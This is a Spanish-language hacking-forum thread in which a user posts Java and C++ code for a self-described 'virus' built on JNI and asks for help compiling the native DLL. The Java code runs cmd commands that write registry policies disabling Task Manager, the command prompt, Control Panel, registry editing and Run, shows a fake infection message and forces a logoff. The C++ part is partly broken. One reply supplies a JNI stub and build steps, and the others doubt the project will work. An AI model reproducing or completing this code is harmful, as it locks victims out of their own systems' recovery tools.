elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado:


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  Java
| | | |-+  como crear un virus en java y c++ implementando JNI
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: como crear un virus en java y c++ implementando JNI  (Leído 12,178 veces)
hack-4-life

Desconectado Desconectado

Mensajes: 52



Ver Perfil WWW
como crear un virus en java y c++ implementando JNI
« en: 12 Diciembre 2010, 06:54 am »

Buenas XD,saludos bueno aver si alguien tiene una idea de esto o ustdes mismos lo pueden testear  bueno lo que intento hacer es crear virus en java con c++ implementando Java native interfaz,solo que tengo una duda si asi mis metodos estan bien declarados en JNI y mi duda tambien es como crear el archivo .ccp para armar la libreria .dll sin mas ni menos aqui estan los codigos:
mi archivo JNIvirus
Código:

   import java.awt.Frame; //Crear frame
import java.awt.Robot; //Controla los eventos del teclado
  import java.io.*;//Entrada y salida de datos
   import java.util.logging.Level; //Captura errores
   import java.util.logging.Logger; //Captura errores

    class JNIvirus extends Frame
   {
      static {
         System.loadLibrary("JNIvirusLibrary");
      /**
       * Carga de la DLL hecha en C++ para bloquear teclado y mouse
       */
      }
  
   //AQUI mi problema esta en estos metodos si van con public native o  solo public native void no me manda ningun error
  
       public native void enSistema ();
    
  
       public native void mouseCold ();
        
  
       public native void killprocess ();
        
   //***************************************************************+
   //===========METODOS DE PUBLIC VOID CREADOS CON JNI
  
       public void runvirus1 ()
      {
      
      
         try
         {
        
        
          //***********aqui infecto aplicaciones agregando sus valores en el registro de win poniendo el valor en 1
            Runtime.getRuntime ().exec ("cmd /c msg *ESTAS INFECTADO POR EL VIRUS JNI JAVA AND C++");
            Runtime.getRuntime ().exec (" cmd /c reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v DisableTaskMgr /t REG_DWORD /d 1 /f ");
            Runtime.getRuntime ().exec (" cmd /c reg add HKCU\\Software\\Policies\\Microsoft\\Windows\\System /v DisableCMD /t REG_DWORD /d 1 /f ");
        
        
        
            Runtime.getRuntime ().exec (" cmd /c reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f ");
            Runtime.getRuntime ().exec (" cmd /c reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v DisableRegistryTools /t REG_DWORD /d 1 /f ");
            Runtime.getRuntime ().exec (" cmd /c reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer /v NoRun /t REG_DWORD /d 1 /f ");
            //**********cierro sesion para aplicar cambios
            Runtime.getRuntime ().exec ("logoff");
        
         }
             catch (IOException ex)
            {
               Logger.getLogger (JNIvirus.class.getName ()).log (Level.SEVERE, null, ex);
            }
         enSistema ();
        
      
      }
  
  
   /////////////////////////////////////////////////////////////////////////////7
   //////////////////////////////////////////////////////////////////////////////////////
  
       public void runvirus2 ()
      {
      
      
      
         System.out.println("metodo corriendo JNI");
         mouseCold ();
      
      }
  
  
   //*******************************************************************************************
       public void runvirus3 ()
      {
         System.out.println("metodo corriendo JNI");
      
      
         killprocess ();
      
      }
  
  
  
  
  
   }






mi archivo main class

Código:
 public class Main{
       public static void main (String[] args)
      {
      
         JNIvirus JNIprueba = new JNIvirus ();
      
         JNIprueba.enSistema ();
         JNIprueba.mouseCold();
         JNIprueba.killprocess();
        
        
      
      }
   }





una vez compilandolo con javac genero mi archivo .h con javah -jni JNIvirus


Código:


/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class JNIvirus */

#ifndef _Included_JNIvirus
#define _Included_JNIvirus
#ifdef __cplusplus
extern "C" {
#endif
#undef JNIvirus_FOCUS_TRAVERSABLE_UNKNOWN
#define JNIvirus_FOCUS_TRAVERSABLE_UNKNOWN 0L
#undef JNIvirus_FOCUS_TRAVERSABLE_DEFAULT
#define JNIvirus_FOCUS_TRAVERSABLE_DEFAULT 1L
#undef JNIvirus_FOCUS_TRAVERSABLE_SET
#define JNIvirus_FOCUS_TRAVERSABLE_SET 2L
#undef JNIvirus_TOP_ALIGNMENT
#define JNIvirus_TOP_ALIGNMENT 0.0f
#undef JNIvirus_CENTER_ALIGNMENT
#define JNIvirus_CENTER_ALIGNMENT 0.5f
#undef JNIvirus_BOTTOM_ALIGNMENT
#define JNIvirus_BOTTOM_ALIGNMENT 1.0f
#undef JNIvirus_LEFT_ALIGNMENT
#define JNIvirus_LEFT_ALIGNMENT 0.0f
#undef JNIvirus_RIGHT_ALIGNMENT
#define JNIvirus_RIGHT_ALIGNMENT 1.0f
#undef JNIvirus_serialVersionUID
#define JNIvirus_serialVersionUID -7644114512714619750i64
#undef JNIvirus_serialVersionUID
#define JNIvirus_serialVersionUID 4613797578919906343i64
#undef JNIvirus_INCLUDE_SELF
#define JNIvirus_INCLUDE_SELF 1L
#undef JNIvirus_SEARCH_HEAVYWEIGHTS
#define JNIvirus_SEARCH_HEAVYWEIGHTS 1L
#undef JNIvirus_OPENED
#define JNIvirus_OPENED 1L
#undef JNIvirus_serialVersionUID
#define JNIvirus_serialVersionUID 4497834738069338734i64
#undef JNIvirus_DEFAULT_CURSOR
#define JNIvirus_DEFAULT_CURSOR 0L
#undef JNIvirus_CROSSHAIR_CURSOR
#define JNIvirus_CROSSHAIR_CURSOR 1L
#undef JNIvirus_TEXT_CURSOR
#define JNIvirus_TEXT_CURSOR 2L
#undef JNIvirus_WAIT_CURSOR
#define JNIvirus_WAIT_CURSOR 3L
#undef JNIvirus_SW_RESIZE_CURSOR
#define JNIvirus_SW_RESIZE_CURSOR 4L
#undef JNIvirus_SE_RESIZE_CURSOR
#define JNIvirus_SE_RESIZE_CURSOR 5L
#undef JNIvirus_NW_RESIZE_CURSOR
#define JNIvirus_NW_RESIZE_CURSOR 6L
#undef JNIvirus_NE_RESIZE_CURSOR
#define JNIvirus_NE_RESIZE_CURSOR 7L
#undef JNIvirus_N_RESIZE_CURSOR
#define JNIvirus_N_RESIZE_CURSOR 8L
#undef JNIvirus_S_RESIZE_CURSOR
#define JNIvirus_S_RESIZE_CURSOR 9L
#undef JNIvirus_W_RESIZE_CURSOR
#define JNIvirus_W_RESIZE_CURSOR 10L
#undef JNIvirus_E_RESIZE_CURSOR
#define JNIvirus_E_RESIZE_CURSOR 11L
#undef JNIvirus_HAND_CURSOR
#define JNIvirus_HAND_CURSOR 12L
#undef JNIvirus_MOVE_CURSOR
#define JNIvirus_MOVE_CURSOR 13L
#undef JNIvirus_NORMAL
#define JNIvirus_NORMAL 0L
#undef JNIvirus_ICONIFIED
#define JNIvirus_ICONIFIED 1L
#undef JNIvirus_MAXIMIZED_HORIZ
#define JNIvirus_MAXIMIZED_HORIZ 2L
#undef JNIvirus_MAXIMIZED_VERT
#define JNIvirus_MAXIMIZED_VERT 4L
#undef JNIvirus_MAXIMIZED_BOTH
#define JNIvirus_MAXIMIZED_BOTH 6L
#undef JNIvirus_serialVersionUID
#define JNIvirus_serialVersionUID 2673458971256075116i64
/*
 * Class:     JNIvirus
 * Method:    enSistema
 * Signature: ()V
 */
JNIEXPORT void JNICALL Java_JNIvirus_enSistema
  (JNIEnv *, jobject);

/*
 * Class:     JNIvirus
 * Method:    mouseCold
 * Signature: ()V
 */
JNIEXPORT void JNICALL Java_JNIvirus_mouseCold
  (JNIEnv *, jobject);

/*
 * Class:     JNIvirus
 * Method:    killprocess
 * Signature: ()V
 */
JNIEXPORT void JNICALL Java_JNIvirus_killprocess
  (JNIEnv *, jobject);

#ifdef __cplusplus
}
#endif
#endif






utlizo el dev c++ me voy en crear nuevo proyecto y selecciono la libreria .dll
me salen dos archivos en el primero dll.h lo remplazare por la libreria .h de mi clase,y mi archivo Dllmain.cpp va mi archivo que tengo de C++ aqui esta su code,es lo que quiero mandar a traer desde java...
Código:


mi problema esta aqui para crear la libreria .dll ya tengo mi archivo JNIvirus.h pero el codigo de C++ no se como mandarlo tambien... como la creo para mandar a llamar los metodos de java alguien me puede decir



#include <windows.h> //Para poder agregar la entrada al registro
#include <winable.h>
#include <tlhelp32.h>
#include <stdio.h>




char* die1="DisableCMD";


NIEXPORT void JNICALL Java_JNIvirus_enSistema
  (JNIEnv *, jobject);

/*
 * Class:     JNIvirus
 * Method:    mouseCold
 * Signature: ()V
 */
JNIEXPORT void JNICALL Java_JNIvirus_mouseCold
  (JNIEnv *, jobject);

/*
 * Class:     JNIvirus
 * Method:    killprocess
 * Signature: ()V
 */
JNIEXPORT void JNICALL Java_JNIvirus_killprocess
  (JNIEnv *, jobject);

void Bloquear(char* Aplicacion)
{

try
{
HKEY hHKCU = NULL, hMyKey = NULL;
DWORD value = 0;
if (Aplicacion=="DisableCMD")
{
if (RegOpenKeyEx(HKEY_CURRENT_USER, NULL, 0, KEY_WRITE, &hHKCU) == ERROR_SUCCESS)
{
if (RegCreateKeyEx(hHKCU, "Software\\Policies\\Microsoft\\Windows\\System", 0, NULL, 0, KEY_WRITE, NULL, &hMyKey, NULL) == ERROR_SUCCESS)
{
RegSetValueEx(hMyKey, Aplicacion, 0, REG_DWORD,(BYTE*)&value, sizeof(DWORD));
RegCloseKey(hMyKey);
}

}
}



}//fin try
catch (...)
{
}
}

bool H4CK4LIFE()
{
    
    

}

int main()
{

if (H4CK4LIFE()==false)
{
Bloquear (die1);

}


return 0;
}





ahora si alguien ve los codes si me puede decir como genero mi archivo .cpp tengo que poner los JNIEXPORT,alguien que lo pueda testear y decirme como puedo hacer para terminar la libreria .dll,buenoo espero alguien me pueda orientar,saludos a todos XD...


« Última modificación: 12 Diciembre 2010, 07:11 am por hack-4-life » En línea

""DE QUE SIRVE EL CONOCIMIENTO SI SE PRIVA DE SU DISTRIBUCION"
danielo-

Desconectado Desconectado

Mensajes: 218


:)


Ver Perfil
Re: como crear un virus en java y c++ implementando JNI
« Respuesta #1 en: 23 Enero 2011, 01:40 am »

jajaja... a ver si entendí, quieres hacer un programa en java y c++, resulta que tienes los metodos en java y pues ya creaste la cabecera .h, pero te falta el cpp, y quieres saber como crearlos?
bueno, resulta que lo primero que debes tener son los codigos en lenguaje c++, es decir, debes tener ya hecho un programa en c++ , una vez teniedo eso, lo que resta es facil.

Código
  1. //incluyes tu cabecera .h generada por java
  2. //y tambien la cabecera de java que hace el enlace con c++
  3. #include "Control.h"
  4. #include <jni.h>
  5. //tomas el nombre de los metodos que aparecen en el .h
  6. //y le agremas las variables de los parametros                                   param1          param 2
  7. JNIEXPORT void JNICALL Java_JNIvirus_enSistema(JNIEnv *env, jobject o){
  8. /*
  9. aki el codigo en c++, todo lo que kieras hacer
  10. */
  11.  }
  12. JNIEXPORT void JNICALL Java_JNIvirus_mouseCold(JNIEnv *env, jobject o){
  13.  
  14.  
  15.  }
  16.  
  17. JNIEXPORT void JNICALL Java_JNIvirus_killprocess(JNIEnv *env, jobject obj){
  18.  
  19.  
  20.  }
  21.  

ahora este codigo lo guardas con la extension .cpp
pero tienes que incluir las cabeceras jni.h que viene en la carperta include del directorio de java, en mi caso esta en:
C:\Program Files\Java\jdk1.6.0_21\include
todos los archivos que estan ahi, asi como tambien los que se encuentran dentro de la carpera win32
C:\Program Files\Java\jdk1.6.0_21\include\win32

los copias a la carpeta include de dev, en mi caso
C:\Dev-Cpp\include

(son 5 archivos que tienes que copiar)
ahora si compilas con c++
y ya puedes llamar a los metodos desde java, =)
si tienes alguna duda pregunta ;)


saludos!


En línea

kasiko

Desconectado Desconectado

Mensajes: 218



Ver Perfil
Re: como crear un virus en java y c++ implementando JNI
« Respuesta #2 en: 24 Enero 2011, 19:44 pm »

sinceramente me gustaria ver el resultado final  :rolleyes: porque segun mi concepto de virus... va a ser complicado... aunque quizas no imposible  :rolleyes:
En línea

Nos vemos...

danielo-

Desconectado Desconectado

Mensajes: 218


:)


Ver Perfil
Re: como crear un virus en java y c++ implementando JNI
« Respuesta #3 en: 24 Enero 2011, 20:06 pm »

tanto así como virus, creo que no se lograra, no en java, pero para eso necesita usar jni, lo cual igual veo dificil de lograr, pues parece que no tiene los codigos que hacen lo que quiere
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
java-como crear GUI
Java
jaza 1 3,124 Último mensaje 18 Octubre 2006, 15:37 pm
por Casidiablo
Como crear un Troyano en Java « 1 2 3 »
Java
egyware 24 39,324 Último mensaje 4 Diciembre 2011, 05:14 am
por Chivin
[SOLUCIONADO]Como crear un paquete .jar en java
Java
cyberserver 2 6,477 Último mensaje 4 Junio 2010, 04:56 am
por cyberserver
ayuda para crear un virus espia en java!!!!
Análisis y Diseño de Malware
kimbo-dofus 6 21,662 Último mensaje 5 Septiembre 2010, 04:52 am
por kimbo-dofus
crear una lista de nombre con edad implementando en ella un menu.
Programación C/C++
ChuzZ02 6 2,694 Último mensaje 3 Mayo 2017, 20:57 pm
por MAFUS
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines